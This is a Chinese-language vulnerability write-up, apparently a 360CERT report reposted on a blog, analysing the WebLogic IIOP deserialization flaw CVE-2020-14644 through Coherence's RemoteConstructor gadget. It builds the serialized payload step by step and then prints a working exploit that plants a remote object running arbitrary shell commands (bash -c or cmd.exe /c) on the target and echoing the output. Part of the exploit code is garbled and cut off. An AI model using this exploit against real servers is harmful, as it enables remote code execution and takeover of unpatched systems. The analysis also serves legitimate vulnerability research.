fastjson 序列化 不包括转义字符_CVE-2020-14644 weblogic iiop反序列化漏洞分析
报告编号:B6-2020-081101
报告来源:360CERT
报告作者:ph4nt0mer
更新日期:2020-08-11
0x01 weblogic 受影响版本
Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
0x02 环境准备
1、安装weblogic server版本。
安装weblogic_server可以参考https://blog.csdn.net/qq_36868342/article/details/79967606。
2、生成wlfullclient.jar包
wlfullclient可以通过,在安装完weblogic服务以后,来到~/Oracle/Middleware/Oracle_Home/wlserver/server/lib目录,运行java -jar ~/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar,就会在lib目录下生成一个wlfullclient.jar包。这个wlfullclient.jar包包含了weblogic的基本所有功能类。
3、在IDEA新建一个工程文件。把coherence.jar包和wlfullclient.jar包放在同一个目录下,同时添加到库里。
0x03 反序列化gadget分析。
这次iiop的关键反序列化类是RemoteConstructor。代码如下:
Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//package com.tangosol.internal.util.invoke;import com.tangosol.io.ClassLoaderAware;import com.tangosol.io.ExternalizableLite;import com.tangosol.io.SerializationSupport;import com.tangosol.io.Serializer;import com.tangosol.io.SerializerAware;import com.tangosol.io.pof.PofReader;import com.tangosol.io.pof.PofWriter;import com.tangosol.io.pof.PortableObject;import com.tangosol.util.Base;import com.tangosol.util.ExternalizableHelper;import java.io.DataInput;import java.io.DataOutput;import java.io.IOException;import java.io.ObjectStreamException;import java.io.Serializable;import java.util.Arrays;import javax.json.bind.annotation.JsonbProperty;public class RemoteConstructor implements ExternalizableLite, PortableObject, SerializationSupport, SerializerAware { @JsonbProperty("definition") protected ClassDefinition m_definition; @JsonbProperty("args") protected Object[] m_aoArgs; private transient Serializer m_serializer;protected transient ClassLoader m_loader; public RemoteConstructor() {} public RemoteConstructor(ClassDefinition definition, Object[] aoArgs) {this.m_definition = definition; for(int i = 0; i < aoArgs.length; ++i) { Object arg = aoArgs[i]; aoArgs[i] = Lambdas.isLambda(arg) ? Lambdas.ensureRemotable((Serializable)arg) : arg;} this.m_aoArgs = aoArgs;} public ClassIdentity getId() { return this.getDefinition().getId();} public ClassDefinition getDefinition() { return this.m_definition;} public Object[] getArguments() { return this.m_aoArgs;} public T newInstance() { RemotableSupport support = RemotableSupport.get(this.getClassLoader()); return support.realize(this);} protected ClassLoader getClassLoader() { ClassLoader loader = this.m_loader; return loader == null ? Base.getContextClassLoader(this) : loader;} public boolean equals(Object o) { if (!(o instanceof RemoteConstructor)) { return false; } else { RemoteConstructor> that = (RemoteConstructor)o; return this == that || this.getClass() == that.getClass() && Base.equals(this.m_definition, that.m_definition) && Base.equalsDeep(this.m_aoArgs, that.m_aoArgs); }} public int hashCode() { int nHash = this.m_definition.hashCode(); nHash = 31 * nHash + Arrays.hashCode(this.m_aoArgs); return nHash;} public String toString() { return "RemoteConstructor{definition=" + this.m_definition + ", arguments=" + Arrays.toString(this.m_aoArgs) + '}';} public void readExternal(DataInput in) throws IOException { this.m_definition = (ClassDefinition)ExternalizableHelper.readObject(in);Object[] aoArgs = this.m_aoArgs = new Object[ExternalizableHelper.readInt(in)]; for(int i = 0; i < aoArgs.length; ++i) { aoArgs[i] = ExternalizableHelper.readObject(in);}} public void writeExternal(DataOutput out) throws IOException { ExternalizableHelper.writeObject(out, this.m_definition); Object[] aoArgs = this.m_aoArgs; ExternalizableHelper.writeInt(out, aoArgs.length); Object[] var3 = aoArgs;int var4 = aoArgs.length; for(int var5 = 0; var5 < var4; ++var5) { Object o = var3[var5]; ExternalizableHelper.writeObject(out, o);}} public void readExternal(PofReader in) throws IOException { this.m_definition = (ClassDefinition)in.readObject(0); this.m_aoArgs = in.readArray(1, (x$0) -> { return new Object[x$0]; });} public void writeExternal(PofWriter out) throws IOException { out.writeObject(0, this.m_definition); out.writeObjectArray(1, this.m_aoArgs);} public Object readResolve() throws ObjectStreamException { return this.newInstance();} public Serializer getContextSerializer() { return this.m_serializer;} public void setContextSerializer(Serializer serializer) { this.m_serializer = serializer; if (serializer instanceof ClassLoaderAware) { this.m_loader = ((ClassLoaderAware)serializer).getContextClassLoader();} }}
RemoteConstructor实现了ExternalizableLite接口,ExternalizableLite接口继承了Serializable,所以这个RemoteConstructor类是可以进行序列化的。
该类里没有readobject函数,但有readResolve函数。详细了解可以参考https://blog.csdn.net/Leon_cx/article/details/81517603
目前总结如下:
- 必须实现Serializable接口或Externalizable接口的类才能进行序列化
- transient和static修饰符修饰的成员变量不会参与序列化和反序列化
- 反序列化对象和序列化前的对象的全类名和serialVersionUID必须一致
- 在目标类中添加私有的writeObject和readObject方法可以覆盖默认的序列化和反序列化方法
- 在目标类中添加私有的readResolve可以最终修改反序列化回来的对象,可用于单例模式防止序列化导致生成第二个对象的问题
readResolve操作是在readobject后面,所以readResolve会覆盖readobject的内容。
查看下readResolve函数的内容:
public Object readResolve() throws ObjectStreamException { return this.newInstance(); }public T newInstance() { RemotableSupport support = RemotableSupport.get(this.getClassLoader()); return support.realize(this);}
getClassLoader()代码:
protected ClassLoader getClassLoader() { ClassLoader loader = this.m_loader; return loader == null ? Base.getContextClassLoader(this) : loader;}
根据RemoteConstructor的构造函数可知。我们先写个大框架:
public class App2 { public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException { /*ClassIdentity classIdentity = new ClassIdentity( org.iiop.test1.class);*/ RemoteConstructor remoteConstructor = new RemoteConstructor( new ClassDefinition(), new Object[]{});byte[] serialize= Serializables.serialize(remoteConstructor); try { Serializables.deserialize(serialize); } catch (ClassNotFoundException e) { e.printStackTrace();} }}
因为this.m_loader是transient修饰的,所以loader会是null,返回的是Base.getContextClassLoader(this)。
看下RemotableSupport里面的realize方法:
public T realize(RemoteConstructor constructor) { ClassDefinition definition = this.registerIfAbsent(constructor.getDefinition()); Class extends Remotable> clz = definition.getRemotableClass(); if (clz == null) { synchronized(definition) { clz = definition.getRemotableClass(); if (clz == null) { definition.setRemotableClass(this.defineClass(definition)); } }} Remotable instance = (Remotable)definition.createInstance(constructor.getArguments()); instance.setRemoteConstructor(constructor); return instance;}
第一张图片的报错是在registerIfAbsent方法里,因为ClassDefinition我们定义的是空,所以取到definition.getId()为null。
protected ClassDefinition registerIfAbsent(ClassDefinition definition) {assert definition != null; ClassDefinition rtn = (ClassDefinition)this.f_mapDefinitions.putIfAbsent(definition.getId(), definition); return rtn == null ? definition : rtn;}
然后导致(ClassDefinition)this.f_mapDefinitions.putIfAbsent(definition.getId(), definition)报错了
那我们接着看一下ClassDefinition是做啥的,必须给他一个初始化有值的对象,代码如下:
Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//package com.tangosol.internal.util.invoke;import com.tangosol.io.ExternalizableLite;import com.tangosol.io.pof.PofReader;import com.tangosol.io.pof.PofWriter;import com.tangosol.io.pof.PortableObject;import com.tangosol.util.Base;import com.tangosol.util.ClassHelper;import com.tangosol.util.ExternalizableHelper;import java.io.DataInput;import java.io.DataOutput;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;import java.io.OutputStream;import java.lang.invoke.MethodHandle;import java.lang.invoke.MethodHandles;import java.lang.invoke.MethodType;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import javax.json.bind.annotation.JsonbProperty;public class ClassDefinition implements ExternalizableLite, PortableObject { protected transient Class extends Remotable> m_clz; protected transient MethodHandle m_mhCtor; @JsonbProperty("id") protected ClassIdentity m_id; @JsonbProperty("code")protected byte[] m_abClass; public ClassDefinition() {} public ClassDefinition(ClassIdentity id, byte[] abClass) { this.m_id = id; this.m_abClass = abClass; String sClassName = id.getName(); Base.azzert(sClassName.length() < 65535, "The generated class name is too long:" + sClassName);} public ClassIdentity getId() { return this.m_id;} public byte[] getBytes() { return this.m_abClass;} public Class extends Remotable> getRemotableClass() { return this.m_clz;} public void setRemotableClass(Class extends Remotable> clz) { this.m_clz = clz; Constructor>[] aCtor = clz.getDeclaredConstructors(); if (aCtor.length == 1) { try { MethodType ctorType = MethodType.methodType(Void.TYPE, aCtor[0].getParameterTypes()); this.m_mhCtor = MethodHandles.publicLookup().findConstructor(clz, ctorType); } catch (IllegalAccessException | NoSuchMethodException var4) { throw Base.ensureRuntimeException(var4); }}} public Object createInstance(Object... aoArgs) { try { return this.getConstructor(aoArgs).invokeWithArguments(aoArgs); } catch (NoSuchMethodException var10) { Constructor[] aCtors = this.m_clz.getDeclaredConstructors(); Constructor[] var4 = aCtors;int var5 = aCtors.length; for(int var6 = 0; var6 < var5; ++var6) { Constructor ctor = var4[var6]; if (ctor.getParameterTypes().length == aoArgs.length) { try { return ctor.newInstance(aoArgs); } catch (InvocationTargetException | IllegalAccessException | IllegalArgumentException | InstantiationException var9) { } }} throw Base.ensureRuntimeException(var10); } catch (Throwable var11) { throw Base.ensureRuntimeException(var11); }} protected MethodHandle getConstructor(Object[] aoArgs) throws NoSuchMethodException { if (this.m_mhCtor != null) { return this.m_mhCtor; } else {Class[] aParamTypes = ClassHelper.getClassArray(aoArgs); try { MethodType ctorType = MethodType.methodType(Void.TYPE, ClassHelper.unwrap(aParamTypes)); return MethodHandles.publicLookup().findConstructor(this.m_clz, ctorType); } catch (NoSuchMethodException var6) { try { MethodType ctorType = MethodType.methodType(Void.TYPE, aParamTypes); return MethodHandles.publicLookup().findConstructor(this.m_clz, ctorType); } catch (IllegalAccessException var5) { throw Base.ensureRuntimeException(var5); } } catch (IllegalAccessException var7) { throw Base.ensureRuntimeException(var7); } }} public void dumpClass(String sDir) { if (sDir != null) { File dirDump = new File(sDir, this.m_id.getPackage()); boolean fDisabled = dirDump.isFile() || !dirDump.exists() && !dirDump.mkdirs(); if (!fDisabled) { try { OutputStream os = new FileOutputStream(new File(dirDump, this.m_id.getSimpleName() + ".class"));Throwable var5 = null; try { os.write(this.m_abClass); } catch (Throwable var15) { var5 = var15; throw var15; } finally { if (os != null) { if (var5 != null) { try { os.close(); } catch (Throwable var14) { var5.addSuppressed(var14); } } else { os.close(); }} } } catch (IOException var17) { } }}} public boolean equals(Object o) { if (!(o instanceof ClassDefinition)) { return false; } else { ClassDefinition that = (ClassDefinition)o; return this == that || this.getClass() == that.getClass() && Base.equals(this.m_id, that.m_id); }} public int hashCode() { return this.m_id.hashCode();} public String toString() { return "ClassDefinition{id=" + this.m_id + '}';} public void readExternal(DataInput in) throws IOException { this.m_id = (ClassIdentity)ExternalizableHelper.readObject(in); this.m_abClass = ExternalizableHelper.readByteArray(in);} public void writeExternal(DataOutput out) throws IOException { ExternalizableHelper.writeObject(out, this.m_id); ExternalizableHelper.writeByteArray(out, this.m_abClass);} public void readExternal(PofReader in) throws IOException { this.m_id = (ClassIdentity)in.readObject(0); this.m_abClass = in.readByteArray(1);} public void writeExternal(PofWriter out) throws IOException { out.writeObject(0, this.m_id); out.writeByteArray(1, this.m_abClass); }}
新框架代码如下:
public class App2 {public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {ClassIdentity classIdentity = new ClassIdentity(); ClassDefinition classDefinition = new ClassDefinition( classIdentity,new byte[]{}); RemoteConstructor remoteConstructor = new RemoteConstructor( classDefinition, new Object[]{});byte[] serialize= Serializables.serialize(remoteConstructor); try { Serializables.deserialize(serialize); } catch (ClassNotFoundException e) { e.printStackTrace();} }}
还是null,说明要对classIdentity也进行赋值初始化,classIdentity的构造函数如下:
public ClassIdentity(Class> clazz) { this(clazz.getPackage().getName().replace('.', '/'), clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1), Base.toHex(md5(clazz)));} protected ClassIdentity(String sPackage, String sBaseName, String sVersion) { this.m_sPackage = sPackage; this.m_sBaseName = sBaseName; this.m_sVersion = sVersion;}
可知ClassIdentity是一个new class。我们再同目录下创建一个test1的类。代码如下:
package org.iiop;public class test1{ static { System.out.println("success");}}
执行代码放在优先级最高的static里。
修改代码:
ClassIdentity classIdentity = new ClassIdentity(org.iiop.test1.class); ClassDefinition classDefinition = new ClassDefinition( classIdentity,new byte[]{});
definition.getId()终于不是null了。
最终来到
definseClass可以通过https://xz.aliyun.com/t/2272学习,我们可以看到sClassName已经是test1的值,但是abClass还是byte[0],按理abClass里面存储的应该是test1的bytes值,所以我们需要想办法把abClass的值改成test1的bytes。一种是反射来修改,一种是看abClass是在哪里复制的。
这里我们采取第二种方法,因为byte[] abClass = definition.getBytes();通过可知,abClass是通过definition来赋值的,但是definition我们前面在初始化的时候,只给了类名,没有给bytes,所以我们修改下代码。类的操作可以通过javassist库来进行操作。
代码修改如下:
ClassIdentity classIdentity = new ClassIdentity(org.iiop.test1.class); ClassPool cp = ClassPool.getDefault(); CtClass ctClass = cp.get(org.iiop.test1.class.getName()); ctClass.replaceClassName(org.iiop.test1.class.getName(), org.iiop.test.class.getName() + "$" + classIdentity.getVersion());System.out.println(ctClass.toString()); ClassDefinition classDefinition = new ClassDefinition( classIdentity,ctClass.toBytecode());
因为之前看到的sClassName是test1$+十六进制,所以要做个replaceClassName的替换操作。 不替换前:
替换后:
运行之后:
成功把test1的内容给执行了,但是还有个报错。 org.iiop.test1$0BC03FF199F8E95021E1281BDFAAA032 cannot be cast to com.tangosol.internal.util.invoke.Remotable没有实现Remotable接口,那就改写下test1。
package org.iiop;import com.tangosol.internal.util.invoke.Remotable;import com.tangosol.internal.util.invoke.RemoteConstructor;public class test1 implements Remotable { static { System.out.println("success");} @Override public RemoteConstructor getRemoteConstructor() { return null;} @Overridepublic void setRemoteConstructor(RemoteConstructor remoteConstructor) { }}
最终成功,无报错:
基本框架结束以后,在外面套一个T3协议或者iiop发送出去,即可rce。因为使用的是defineClass所以是可以直接回显的。 这边我直接给出UnicodeSec的利用iiop回显代码,其中有个小bug,我修改了一下一点点代码: 因为他的逻辑是if(iiopCtx.lookup("UnicodeSec") == null)我在测试过程中发现,因为第一次不存在UnicodeSec一定会是报错,导致一直不能进入rebind,一直循环在if这里,所以我采用try的方法,其他代码不变
package org.iiop;import com.tangosol.internal.util.invoke.ClassDefinition;import com.tangosol.internal.util.invoke.ClassIdentity;import com.tangosol.internal.util.invoke.RemoteConstructor;import javassist.ClassPool;import javassist.CtClass;import weblogic.cluster.singleton.ClusterMasterRemote;import weblogic.jndi.Environment;import javax.naming.Context;import javax.naming.NamingException;import java.rmi.RemoteException;/** * created by UnicodeSec potatso */public class App { public static void main(String[] args) throws Exception { String text = " ___ ___ ___ ___ __ __ _ _ __ _ _ _ _ " + " |__ / _ __ / _ /_ /_ | || | / /| || | | || | " + " _____ _____ ) | | | | ) | | | |______| || | || |_ / /_| || |_| || |_ _____ ___ __ " + " / __ / / _ / /| | | |/ /| | | |______| || |__ _| '_ __ _|__ _| / _ / / '_ " + " | (__ V / __/ / /_| |_| / /_| |_| | | || | | | | (_) | | | | | | __/>
test的代码:
package org.iiop;import com.tangosol.internal.util.invoke.Remotable;import com.tangosol.internal.util.invoke.RemoteConstructor;import weblogic.cluster.singleton.ClusterMasterRemote;import javax.naming.Context;import javax.naming.InitialContext;import java.io.BufferedReader;import java.io.InputStreamReader;import java.rmi.RemoteException;import java.util.ArrayList;import java.util.List;public class test implements Remotable, ClusterMasterRemote { static { try { String bindName = "UnicodeSec"; Context ctx = new InitialContext(); test remote = new test(); ctx.rebind(bindName, remote); System.out.println("installed"); } catch (Exception var1) { var1.printStackTrace(); }}public test() {} @Override public RemoteConstructor getRemoteConstructor() { return null;} @Overridepublic void setRemoteConstructor(RemoteConstructor remoteConstructor) {} @Overridepublic void setServerLocation(String var1, String var2) throws RemoteException {} @Override public String getServerLocation(String cmd) throws RemoteException {try { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; }List cmds = new ArrayList(); if (isLinux) { cmds.add("/bin/bash"); cmds.add("-c"); cmds.add(cmd); } else { cmds.add("cmd.exe"); cmds.add("/c"); cmds.add(cmd);} ProcessBuilder processBuilder = new ProcessBuilder(cmds); processBuilder.redirectErrorStream(true);Process proc = processBuilder.start(); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("");} return sb.toString(); } catch (Exception e) { return e.getMessage(); } }}
第一次发送会报错,因为在rebind,第二次就会回显:
0x04 总结
这是一次相对其他较简单的gadget分析,需要了解iiop,cobra,反序列化,序列化等相关知识,同时还需要了解javassist和defineClass的知识。
0x05 weblogic全球态势
0x06 参考
Oracle cve 2020-14644 分析利用以及回显思路 defineClass在java反序列化当中的利用
https://xz.aliyun.com/t/2272
fastjson 序列化 不包括转义字符_CVE-2020-14644 weblogic iiop反序列化漏洞分析相关推荐
- fastjson 序列化 不包括转义字符_fastjson再次发现漏洞,可能发生OOM导致宕机
发现漏洞:issue2689 2019年9月2号有开发者在fastjson的仓库提了一个issue:Fastjson新版本解析到特定字符后直接触发异常. 具体问题是:字符串中包含x转义字符时可能引发O ...
- fastjson 序列化 不包括转义字符_fastjson黑盒测试与白盒审计
简介与漏洞史 java处理JSON数据有三个比较流行的类库,gson(google维护).jackson.以及今天的主角fastjson,fastjson是阿里巴巴一个开源的json相关的java l ...
- Fastjson 1.2.68版本反序列化漏洞分析篇
点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | ale_wong@云影实验室 来源 | htt ...
- Fastjson 1.2.22-24 反序列化漏洞分析
目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...
- fastjson反序列化map_最新fastjson反序列化漏洞分析
前言 写的有点多,可能对师傅们来说比较啰嗦,不过这么写完感觉自己也就明白了 poc newPoc.javaimport com.alibaba.fastjson.JSON; public class ...
- java序列化_技术干货 | JAVA反序列化漏洞
目录 反序列化漏洞 序列化和反序列化 JAVA WEB中的序列化和反序列化 对象序列化和反序列范例 JAVA中执行系统命令 重写readObject()方法 Apache Commons Collec ...
- com.alibaba.fastjson 序列化 反序列
fastjson 序列化 反序列 目录 fastjson 序列化 反序列 序列化 SerializeWriter成员变量 一 SerializeWriter成员函数 1 序列化整形数字 2 序列化 ...
- Java基础/利用fastjson序列化对象为JSON
利用fastjson序列化对象为JSON 参考博客:http://blog.csdn.net/zeuskingzb/article/details/17468079 Step1:定义实体类 //用户类 ...
- 【Android Protobuf 序列化】Protobuf 性能测试 ( fastjson 序列化与反序列化 | gson 序列化与反序列化 | 三种序列化与反序列化性能对比 )
文章目录 一.导入依赖库 二.构造 JavaBean 三.fastjson 序列化与反序列化 四.gson 序列化与反序列化 五.完整代码 1.主界面代码 2.JSON 测试代码 3.执行结果 六.参 ...
最新文章
- stm32g474教程_STM32-开发入门教程
- 如何真正提高ASP.NET网站的性能
- datanucleus_DataNucleus 3.0与Hibernate 3.5
- 反斜杠转义mysql java_mysql数据库中的反斜杠”\“怎么使用Java进行转义
- 飞鸽传书也在2010年免费发布了
- 离线安装 Android 4.0 SDK
- 做三维模型_这几款倾斜实景三维裸眼3D采集软件你了解吗?
- 命令级的python静态资源服务。
- java运算符重载_为什么Java不支持运算符重载?
- 如何开始在 Mac 上使用快捷方式?
- 老板放过我吧!我Java8还没用呢,又让我学习Java14
- TINA-TI仿真软件使用教程
- PTA程序设计基础题目集(1)
- php根据参数跳转到指定网址,根据访问的域名跳转到指定目录的代码
- 鸿蒙系统安全模式,安全模式怎么连接wifi
- MapX系列-- 地图浏览
- android的app,用java程序开发
- 华为 oj java题库_华为OJ题目:刷题
- 入坑slam,一位博士小姐姐的科研和成长分享(考研+读研+读博)
- ie 和火狐兼容问题
热门文章
- 3GPP R18确定27个研究项目,看看包含哪些?
- 《学习如何学习》Week1 3.4 名人采访3: 如何写作?
- java weblogic.wlst_Weblogic - 使用Wlst获取部署类型
- 《MLB棒球创造营》:棒球团建·一球入魂
- 啊哈c语言有函数么,啊哈c-啊哈c为什么不能运行??如图
- 道教圣地青城山有一副名联:事在人为……
- 组合框里添加复选框的方法
- Ubuntu16.04安装Nvidia显卡驱动(cuda)
- 矩阵乘法与点乘的区别
- 达人评测 酷睿i5 12450h和锐龙r7 5800h选哪个好 i512450h和r75800h对比